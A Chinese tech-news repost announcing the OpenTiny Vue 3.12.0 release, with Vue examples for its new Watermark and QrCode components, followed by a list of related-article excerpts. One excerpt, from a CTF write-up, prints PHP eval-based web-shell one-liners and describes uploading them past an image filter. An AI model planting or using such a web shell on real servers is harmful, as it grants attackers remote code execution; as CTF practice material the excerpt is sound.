OpenTiny Vue 组件库3.12.0 发布:文档大优化!增加水印和二维码两个新组件

news2024/12/27 11:28:33

非常高兴跟大家宣布,2023年11月30日,OpenTiny Vue 发布了 v3.12.0 🎉。

OpenTiny 每次大版本发布,都会给大家带来一些实用的新特性,10.24 我们发布了 v3.11.0 版本,增加了富文本、ColorPicker 等4个新组件,该版本共有23位贡献者参与。

🎊OpenTiny Vue 3.11.0 发布:增加富文本、ColorPicker等4个新组件,迎来了贡献者大爆发!

本次 3.12.0 版本主要有以下更新:

  • 全面优化 54 个高频组件的 Demo / API 文档,让文档更加清晰易懂、符合预期
  • Watermark 水印组件
  • QrCode 二维码组件

本次版本共有21位贡献者参与开发,其中有8位是新贡献者,欢迎新朋友们👏

以下是新贡献者:

  • @fanbingbing16 made their first contribution in #686
  • @dyh333 made their first contribution in #667
  • @betavs made their first contribution in #719
  • @betterdancing made their first contribution in #742
  • @David-TechNomad made their first contribution in #772
  • @falcon-jin made their first contribution in #844
  • @wuyiping0628 made their first contribution in #944
  • @James-9696 made their first contribution in #970

也感谢老朋友们对 OpenTiny 的辛苦付出!

大家可以更新 @opentiny/vue@3.12.0 进行体验!

组件文档优化

为了提升开发者阅读文档的体验,从9月份至今,我们花了整整三个月时间对 54 个高频组件的 demo / api 文档进行全面的优化。

希望你能喜欢这波优化,如果你在使用过程中,发现有描述不清楚、不合理、不美观之处,也希望你能给我们提交 Issue 进行反馈。

🎉开发者福音:TinyVue 组件库文档大优化!类型更详细,描述更清晰!

Watermark 水印

水印组件用于保护文档的版权,防止文档被非法复制或盗用,常见的使用场景有:

  • 在公司内部文档中添加水印,以防止机密信息泄露
  • 在商业合同或法律文件中添加水印,以保护文件的真实性和完整性
  • 在电子书籍或其他数字内容中添加水印,以防止盗版和非法传播
  • 在社交媒体发布图片时添加水印,以保护自己的版权

Watermark 使用方式很简单,只需要用水印组件包裹要添加水印的内容即可。

<template>
  <tiny - watermark v-bind="params">
    <div style="height: 500px"></div>
  </tiny - watermark>
</template>

<script setup>
import { reactive } from 'vue'
import { Watermark as TinyWatermark } from '@opentiny/vue'

const params = reactive({
  content: ['I ❤️ TinyVue', 'TinyVue is 👍'],
})
</script>

效果如下:

图片

其中水印内容可以支持调整宽高、旋转角度、字体、间距等,并且支持图片水印。

图片水印效果:

图片

水印组件链接:https://opentiny.design/tiny-vue/zh-CN/os-theme/components/watermark

欢迎体验!

QrCode 二维码

二维码组件的使用场景非常丰富:

  • 线下演讲时,可以在 PPT 放个人微信的二维码,方便听众用手机扫码获得讲师的联系方式,进行进一步的沟通
  • 商家可以在产品上印制二维码,用户通过扫描二维码来获取产品信息或说明书
  • 用户通过扫描二维码来登录网站或应用,提高登录的安全性和便捷性

QrCode 使用方式也很简单,只需要传入链接地址即可。

<template>
  <tiny - qr - code v-bind="params"></tiny - qr - code>
</template>

<script setup>
import { QrCode as TinyQrCode } from '@opentiny/vue'

const params = {
  value: 'https://opentiny.design/tiny-vue'
}
</script>

效果如下:

图片

可以尝试扫描上面的二维码,将会进入 TinyVue 官网。

二维码的大小、颜色、背景、间距等都支持配置,同时也支持自定义图片。

自定义图片的二维码效果:

图片

二维码组件链接:https://opentiny.design/tiny-vue/zh-CN/os-theme/components/qr-code

欢迎体验!

关于 OpenTiny

图片

OpenTiny 是一套企业级 Web 前端开发解决方案,提供跨端、跨框架、跨版本的 TinyVue 组件库,包含基于 Angular+TypeScript 的 TinyNG 组件库,拥有灵活扩展的低代码引擎 TinyEngine,具备主题配置系统TinyTheme / 中后台模板 TinyPro/ TinyCLI 命令行等丰富的效率提升工具,可帮助开发者高效开发 Web 应用。


欢迎加入 OpenTiny 开源社区。添加微信小助手:opentiny-official 一起参与交流前端技术~更多视频内容也可关注B站、抖音、小红书、视频号

OpenTiny 也在持续招募贡献者,欢迎一起共建

OpenTiny 官网:https://opentiny.design/

OpenTiny 代码仓库:https://github.com/opentiny/

TinyVue 源码:https://github.com/opentiny/tiny-vue

TinyEngine 源码: https://github.com/opentiny/tiny-engine

欢迎进入代码仓库 Star🌟TinyEngine、TinyVue、TinyNG、TinyCLI~

如果你也想要共建,可以进入代码仓库,找到 good first issue标签,一起参与开源贡献~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1317340.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python数据科学视频讲解:Python数据清洗基础

3.1 Python数据清洗基础 视频为《Python数据科学应用从入门到精通》张甜 杨维忠 清华大学出版社一书的随书赠送视频讲解3.1节内容。本书已正式出版上市&#xff0c;当当、京东、淘宝等平台热销中&#xff0c;搜索书名即可。内容涵盖数据科学应用的全流程&#xff0c;包括数据科…

Android : 序列化 Parcelable 简单应用

1.Parcelable 介绍 Parcelable 是 Android 提供的一个序列化接口&#xff0c;用于将数据写入 Parcel&#xff0c;以及从 Parcel 中读取数据。一个类只要实现了这个接口&#xff0c;该类的对象就可以被序列化&#xff0c;主要用于 IPC&#xff08;进程间通信&#xff09;、Bind…

在Windows上通过VS2019自带的Cmake来编译OpenCV-4.5.3源码

文章目录 用VS打开OpenCV源码cmake的配置及生成操作生成及安装 用VS打开OpenCV源码 方式一&#xff1a;文件–》打开–》Cmake 找到源码根目录下CMakeLists.txt文件 导入即可。 方式二&#xff1a;在开始使用这里 选择 打开本地文件夹 找到源码的根目录&#xff0c;导入即可…

黑马点评06分布式锁 2Redisson

实战篇-17.分布式锁-Redisson功能介绍_哔哩哔哩_bilibili 1.还存在的问题 直接实现很麻烦&#xff0c;借鉴已有的框架。 2.Redisson用法 3.Redisson可重入原理 在获取锁的时候&#xff0c;看看申请的线程和拿锁的线程是否一致&#xff0c;然后计算该线程获取锁的次数。一个方法…

单链表详解(附图解,结尾附全部源码)

下面开始带大家对单链表的增删查改进行图解 首先给大家介绍一下链表 链表就是每一个结构体中包含一个数据和一个结构体指针&#xff0c;这个指针就相当于锁链的作用将下一个结构体给锁住&#xff0c;但是每个结构体的空间是相对独立的。 图解&#xff1a; 1 首先实现尾插 如果…

XSS漏洞 深度解析 XSS_labs靶场

XSS漏洞 深度解析 XSS_labs靶场 0x01 简介 XSS原名为Cross-site Sciprting(跨站脚本攻击)&#xff0c;因简写与层叠样式表(Cascading style sheets)重名&#xff0c;为了区分所以取名为XSS。 这个漏洞主要存在于HTML页面中进行动态渲染输出的参数中&#xff0c;利用了脚本语…

基于java 的经济开发区管理系统设计与实现(源码+调试)

项目描述 临近学期结束&#xff0c;还是毕业设计&#xff0c;你还在做java程序网络编程&#xff0c;期末作业&#xff0c;老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。今天给大家介绍一篇基于java 的经济开发区管…

云演 Can you getshell?

1、扫目录&#xff0c;看看到upload.php,找到上传点 2、只让上传jpg gif png&#xff0c;上传图片写码 <?php eval($_POST[c]);?>这个码不行 换马 <script language"php">eval($_REQUEST[c])</script>3、蚁剑连接、得到flag

解决ZooKeeper中/rmstore无法删除问题

无法删除znode /rmstore的原因在于yarn在注册时候候自己添加上ACL&#xff0c;导致无法直接删除。解决办法&#xff1a;重新设置ACL。 首先&#xff0c;查看ACL&#xff1a;getAcl /rmstore/ZKRMStateRoot 之后&#xff0c;重新设置ACL&#xff1a;setAcl /rmstore/ZKRMState…

【Pytorch】学习记录分享2——Tensor基础,数据类型,及其多种创建方式

pytorch 官方文档 Tensor基础&#xff0c;数据类型&#xff0c;及其多种创建方式 1. 创建 Creating Tensor&#xff1a; 标量、向量、矩阵、tensor2. 三种方法可以创建张量&#xff0c;一是通过列表(list)&#xff0c;二是通过元组(tuple)&#xff0c;三是通过Numpy的数组(arra…

22.Java程序设计-基于SpringBoot的批发零售业商品管理小程序系统的设计与实现

摘要&#xff1a; 批发零售业商品管理小程序系统的设计旨在提高批发商、零售商和管理员的业务效率&#xff0c;实现商品的高效管理、订单的快速处理以及库存的精准监控。本系统基于Spring Boot框架&#xff0c;利用其强大的特性和生态系统&#xff0c;结合小程序前端&#xff…

服务器数据恢复-raid5多块磁盘掉线导致上层卷无法挂载的数据恢复案例

服务器数据恢复环境&#xff1a; 一台服务器中有一组由24块FC硬盘组建的raid5磁盘阵列&#xff0c;linux操作系统ext3文件系统&#xff0c;服务器上层部署有oracle数据库。 服务器故障&检测&#xff1a; raid5阵列中有两块硬盘出现故障掉线&#xff0c;导致服务器上层卷无法…

【C++】optional的使用(一)

这篇文章介绍下C17引入的std::optional 为什么要有 optional 一般来说&#xff0c;如果想要一个函数返回“多个”值&#xff0c;C程序员倾向于使用结构体/类完成这个操作。即定义一个通用的结构体&#xff0c;在函数内部完成装填&#xff0c;然后返回一个实例化的结构体。 #…

Python项目——贪吃蛇

1、原理 整个界面由一个二维数组组成。游戏开始时&#xff0c;会随机生成一个苹果&#xff08;红点&#xff09;和一条蛇&#xff08;黄点&#xff09;。蛇会在二维数组中移动&#xff0c;当蛇碰到苹果时&#xff0c;苹果被吃&#xff0c;蛇的长度加一&#xff08;红点变黄点&…

【数据结构】八大排序之直接插入排序算法

&#x1f984;个人主页:修修修也 &#x1f38f;所属专栏:数据结构 ⚙️操作环境:Visual Studio 2022 一.直接插入排序简介及思路 直接插入排序(Straight Insertion Sort)是一种简单直观的插入排序算法. 它的基本操作是: 将一个数据插入到已经排好的有序表中,从而得到一个新的,数…

探索Nginx的奥秘--从代理到负载均衡的艺术实践

文章目录 &#x1f33a;Nginx的引入&#x1f33a;&#x1f33a;深刻理解正向代理与反向代理&#x1f33a;&#x1f339;Reverse proxy&#x1f339;&#x1f339;正向代理与反向代理的区别&#x1f339;&#x1f339;反向代理为什么叫反向代理&#x1f339;&#x1f339;负载均…

【DataSophon】大数据服务组件之Flink升级

&#x1f984; 个人主页——&#x1f390;开着拖拉机回家_Linux,大数据运维-CSDN博客 &#x1f390;✨&#x1f341; &#x1fa81;&#x1f341;&#x1fa81;&#x1f341;&#x1fa81;&#x1f341;&#x1fa81;&#x1f341; &#x1fa81;&#x1f341;&#x1fa81;&am…

Logstash访问安全访问Elasticsearch集群

生成logstash证书: opensal pkcs12 -in elastic-stack-ca.p12 -clcerts -nokeys > logafash.cer openssl x509 -in logstash.cer -out logstash.pem 编排配置文件

移动端Vant中的Calendar日历增加显示农历(节日、节气)功能

核心&#xff1a; 使用 js-calendar-converter 库实现 npm地址&#xff1a;js-calendar-converter 内部使用原生calendar.js&#xff0c; 中国农历&#xff08;阴阳历&#xff09;和西元阳历即公历互转JavaScript库&#xff0c;具体实现感兴趣的可自行查看其实现源码。 原日…